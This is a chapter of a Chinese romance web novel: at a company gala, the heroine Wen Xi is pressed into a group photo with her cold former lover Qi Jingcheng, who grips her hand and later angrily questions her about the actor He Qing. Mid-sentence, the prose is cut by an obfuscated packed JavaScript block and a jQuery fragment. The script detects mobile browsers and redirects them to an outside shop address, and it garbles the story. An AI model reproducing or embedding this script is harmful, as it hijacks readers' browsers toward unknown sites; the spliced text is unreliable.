时隔一周再见祈景澄,文曦心颤了颤。
看清祈景澄眸中的冷色后,又开始往下沉。
她想视而不见掉头就走,但祈景澄身边有个人招呼了她一声:“文小姐。”
文曦这才看清祈景澄身边还站了两个人,还是那天酒桌上的两位。
她也不知道自己捂得这么严实,这人又是怎么认出来她的,被人家这么一喊,作为悦祺员工,只能朝客人迎上去。
“祈总,魏总,杨总,你们好,欢迎光临。”
魏总和杨总分别又说了句“你好”。
只有祁景澄一言不发,神色极淡。
文曦已经习惯他这种五年后的常规神态,以前他就深沉,现在还多了种冷冽,又冷又沉的气质加在他那点矜贵气上,整个人的威压气息便愈加明显。
她并不想被这样的气场笼罩住,正要抬手指向会场,就听他沉声问:“看谁?”
文曦微微一愣,然后皱起眉。
她看谁,跟他有什么关系?
她一脸不耐烦,祈景澄喉结滚动,视线越过她肩头睨了眼拐角处,收回来,紧紧盯着她捂得严严实实一张脸上唯一露出来的眼睛。
文曦觉得他不善的语气和眼神都莫名其妙。
他这会儿在她跟前,又耍的哪儿来的威风?
她眼神冷淡地回看祈景澄,虽然身高差距明显,但她下巴微抬,眼神里的气势跟他互不相让。
空气静半晌,直到一旁有人开口问“请问文小姐,会场在什么地方?”,文曦才恍然大悟,她此刻不是面对着祈景澄一个人,还应该带客人入场。
她立刻转脸看向说话人,抬手指引,态度良好:“这边请。”
-
祈景澄一现身,许艾便带着人热情地迎了上来:“欢迎祈爷!欢迎!”
文曦迅速往一旁走开,但被许艾叫住:“茜茜快,咱们一起先敬祈爷一杯接风酒。”
上次敬酒就敬去了医院,教训在前,文曦再不会自我折磨,她还是很爱惜自己的身体的。
她借口说:“我胃痛,抱歉喝不了酒。”
许艾表情微凝,看了眼祈景澄,转瞬遗憾说:“啊,这样,身体要紧,以茶代酒也是一样的。”说罢给文曦递来一杯橙汁。
文曦见这敬酒的事又逃不掉了,接过果汁,只想速战速决,抬手就往祈景澄的杯子上碰:“欢迎祈爷。”
祈景澄盯着她透着一股烦躁的眉眼,问她:“胃病还没好?”
文曦眸光一晃,情绪再被挑起来。
想起一周之前重逢那晚,停车场见面时他那么冷静无波,对她视而不见,完全当她是陌生人,这会儿当着这么多人,就不能闭嘴,继续当陌生人么?
而且,她那天胃出问题,间接也是因为他。
其实,只要祈景澄不出现,她就过得好好的。
文曦说:“没好。”
话落她喝口橙汁,随后匆匆离开了这群人,走到半道被蔺之宴喊了过去。
蔺之宴拉开身旁的椅子给她:“快坐,帮我看看这个是什么。”
文曦一看是个英语邮件,反问蔺之宴:“你看不懂吗?”
他已经学了三年英语了,但还不够用,蔺之宴说:“大概意思可以,但有些单词搞不懂。”
是写得很正式的一封信,其中一些用词很书面,文曦看着屏幕,一句一句给他翻译。
现场很吵,蔺之宴说:“你把口罩摘了,我听不到。”
文曦摘了后继续给他念,但声音还是听不太清,蔺之宴往她脸边凑近了些,刚听没两句,公关经理急急过来,叫他和文曦上台去和老板他们合影。
文曦听得莫名奇妙:她去做什么?
抬眼一看舞台那边,祈景澄正被许艾等人簇拥着走上台,有人引导他站中间的站位,台边已经人潮汹涌,一大圈人拿着手机正对着他那个“稀有物种”拍摄。
祈景澄能公开现身在悦祺年会这样的场合,意味着,祈家进军娱乐行业选中了许艾当合作对象,文曦看着许艾溜须拍马的样子想,祈景澄现在的眼光也不怎么样。
就像听到她的腹诽,舞台那边,祈景澄视线蓦地朝她盯了过来。
目光相触,文曦瞬间收回视线,人微微移了一点,让蔺之宴的头挡在她和祈景澄中间。
但蔺之宴没挡多久就站起了身,对她说:“走吧。”
文曦将手机还给他:“是让你去,你快去吧,回来我再给你翻译哦。”
蔺之宴“嗯”一声,接过手机往舞台走。
公关经理却对文曦说:“老板说你也要去。”
文曦沉默,不想参与。
见她不动,公关经理居高临下俯视着她,面露不悦:“你是要让所有人都等你吗?还是要让老板过来请你?”
文曦不情不愿站起身,往舞台走。
她去得最晚,舞台此刻已经被围得水泄不通,好不容易突破进内围,在推推挤挤中往上台的台阶那边去,艰难走两步,听到台上有人在提醒她说:“茜茜你就从这儿上来,别再走了,那边上不了。”
从这上确实是捷径,但舞台稍高,文曦先踩了右脚上去,试图往上一跳。
刚踩住,一只手出现在帽檐下的视野里,骨节分明,白净修长。
文曦认出了这只手的主人,一时没作他想,下意识就将手搭了上去。
指腹触摸到温热肌肤那一瞬间,她人一愣。
抬头去看,弯腰牵她的祈景澄眼里亦是噙着一抹诧异。
文曦立刻抽手,从他手掌里离开。
然而,两手才分开一秒,下一瞬,她指尖一紧。
祈景澄手指用力握了过来,将她的手牢牢笼在了手心里。
文曦再次抬头,愤怒看向祈景澄,却只见到一双墨黑如深渊般平静的眸子。
-
借着祈景澄手里的力上了台,牵住她的那只手却始终没将她放开。
文曦站在祈景澄身边,僵着手臂,微侧向祁景澄,咬牙低声:“放开。”
这么一说,反倒好像触发了某个开关,祁景澄不止没放,更是拿手指往她手指缝里挤,跟她改成了十指交握的状态。
文曦浑身僵硬:“你做什么?”
祁景澄沉默不语,只是用手中更加重了的力量回应她。
他们站在第一排,跟前是有个半人高的KT板可以挡挡视线,可后方还有密密麻麻的人在,很可能就看见她和祈景澄正手牵着手。
她提心吊胆地继续往外扯手,但祁景澄的手像镣铐,每一次她的挣扎,都变成了他更用力的紧握,最终在摄影师“来来大家看我这里,一二三”的声音中,她只能暂时作罢,停止乱动。
然而很快,前方照相机的闪光灯扑面。
文曦不由自主紧张,手指一紧,一把就紧紧反握住了牵她的手。
祈景澄侧脸过来看她。
她整个人僵直不动,嘴唇咬着下唇,像紧张又像害怕,手指上的力气不小,像在抓着什么救命稻草。
他指腹在她手背上摩挲了两下。
文曦肌肤一痒,看向祈景澄,他正目视前方,依旧神色冷淡、面无波澜,她注意力再次回到他固执牵着她这件事上,继续使劲挣脱他的束缚。
依旧毫无作用。
文曦心如死灰。
闪光灯又闪一阵,就这么和祈景澄手牵着手拍了一顿照,等摄影师说“好了辛苦大家了”时,文曦已经放弃了无用的挣扎,脑中只有两个字在不断盘旋:完了完了完了完了完了……
她脸色青一阵白一阵,心跳快得像要撞开胸腔。
在许艾路过蛋糕塔,朝祈景澄这边直直走过来时,她胆战心惊的感觉达到了顶峰。
然而,就当她以为祈景澄要当那个穿新衣的皇帝,不顾别人的目光,就这么保持着牵她的姿势跟人交谈,让别人看到他俩不明不白扯在一起时,下一刻,却感觉桎梏着她手的力气忽然散了。
文曦一怔,反应过来后仿佛劫后余生,深深松下一口气。
她不懂祈景澄刚才突然发的什么疯,恨恨瞪向和许艾开始交谈的那颗后脑勺。
许艾这时越过祈景澄的胳膊歪了下头,目光扫向她这边,文曦看着他圆滑世故的一双眼笑得微微眯起来,心里颤抖了一下,脊背上忽然爬上一种毒蛇盯住般的恐惧感。
她迅速转身,下了舞台。
路过明星们坐的圆桌,她看见鹤卿已经返回来,其他艺人都在台上跟着老板一起拍照应酬,只有他形单影只静静坐着。
文曦想到他的过去。
鹤卿是李斓入职悦祺时跟的那个艺人,当年和蔺之宴同一年签约进来,两人走的也都是演戏的发展路线。
小角色演了两年后,凭借一个很贴近他本身形象的角色,鹤卿算是小有名气了起来,事业有了起色,参与的影视和综艺都越来越多。
那时候李斓曾给她说,老板会让鹤卿替代当时悦祺最红的、合约到期后不续签的艺人,要成为悦祺力捧的对象。然而,后来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746056|189898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鹤卿却淡出了公众视野。
公司明面上的说法是,总没有合适他的剧本,但李斓私底下悄悄给她说过,当时其实鹤卿去参加了一个晚宴,是个私人行程,原本没让她跟,结果大半夜他突然打电话让去接他,她去那里时,鹤卿连鞋都没穿,满身酒味、一脸惨白地坐在路边,要多狼狈有多狼狈。
李斓的猜测是:“有个老板想潜规则他,他半路跑了。”
至于这个猜测是真是假,那个老板又是谁,当事人鹤卿没说,也就没人知道真相。唯一可以肯定的是,那个事情之后,鹤卿的行程越来越少,直至没有。
但他也没和悦祺解约,就这么还在悦祺的官网上挂着名字。
总之,现在,他成了一个凡人,也成了一个闲人。
台上星光熠熠,台下人星途黯淡。
文曦心想“他又错在哪里了呢?错在自己是个没有力量的普通人?”,脚尖一转,笔直走去了鹤卿跟前,开门见山问他:“跟我喝一杯吗?”
鹤卿一惊,点了点头:“好。”
文曦转身去酒水台拿来两个空酒杯,给鹤卿和自己斟半杯红酒,玻璃杯相碰时发出“叮”一声响,像两个孤独灵魂的碰撞声。
她和鹤卿坐在偏远角落,一时都只喝酒,没说别的话,两人都有自己的遐思。
文曦看了眼台上,矜贵不凡的祈氏掌权人在台上游刃有余地交际着,接受众人的恭敬问候和敬酒,一派冷静从容。可他分明搅和了一下她心湖里原本平静的水,让她这边掀起一阵汹涌浪潮,他却能这么平平静静、毫无波澜。
文曦心里骂了自己一句“没出息”,攥紧拳头,仰头喝了一大口酒。
台上视线掠来时,文曦的第一杯酒刚见底。
她放下酒杯,拿住酒瓶,侧脸问鹤卿:“再来一杯吗?”
鹤卿说:“不用了。”
文曦看他已经酒意上脸,问他:“你酒量是不是不好?”
鹤卿说:“我不喜欢喝酒。”
可以理解,文曦说:“那我自己再喝一点。”
她往酒杯里倒酒,但倒到一半,蓦地听到许艾在不远处的声音:“茜茜,来一下。”
文曦斟酒的手一颤,不小心将酒杯一下打翻,酒泼到桌面上又往下流,她瞬间站起身避开。
“没事吧?”鹤卿也站起身,问她。
“没事没事。”
文曦说完抬头,这才见到到许艾跟祁景澄一行人不知道什么时候已经下了台来了这边,被许艾这么一喊,这会儿一群人全看着她。
尤其是居中那位,看着她的眼神冷寒如冰刀寒刃。
文曦心一紧,才说过自己胃痛不能喝酒,没想到这会儿就被他们撞见了正在喝,他架势还不亚于兴师问罪。
她移了下脚步,佯做镇定问许艾:“老板叫我有什么事?”
许艾:“祁爷要先走了。”
文曦一顿,祁景澄要走跟她有什么关系?
她看向祁景澄,压着勉强,送别说:“祁爷慢走。”
酒桌那个方向被她欲盖弥彰地挡在身后,不知道是在挡酒,还是挡人。
祁景澄目光笔直地往她肩后落过去,看清是个白净温和的男人。
两人坐在一起饮酒作乐,轻谈细语,画面和煦和谐。
他视线在鹤卿脸上停留得稍久,许艾便介绍说:“祁爷这是我公司艺人,鹤卿。”又叫鹤卿上前来打招呼。
鹤卿手里还拿着文曦起身时他抓起想递给她的纸巾,白净的指尖微蜷,上前招呼:“祁——”
然而,他刚启唇,便被祁景澄低沉但清晰的声音蓦地打断:“文曦,他,是谁?”
他这一开口,音量寻常,语调很稳,但一字一句的问话,无限放大了他本身就无法令人忽视的不怒自威,通身一股浑然天成的凌人气势随之倾泻出来,霎时骇得周遭安静。
文曦被他这忽然变脸的模样惊住,心脏不自觉开始急跳。
同时又觉得他莫名其妙,许艾分明才向他介绍过人,蹙眉朝他重复说:“鹤卿。”
祁景澄视线紧紧锁着鹤卿半晌,余光里是文曦和他站在一起,右肩和左肩一高一低叠在一起的画面。
他缓缓将视线移到文曦眸子里,缓声:“他是你谁?”
文曦心头一颤。
分明看到,祈景澄暗黑的眸底,是重逢那天和她对视时的那场风雪在肆虐,其中难以形容的锋利、愤恨、威压都在一寸寸往外泄。
不像她认识的祈景澄。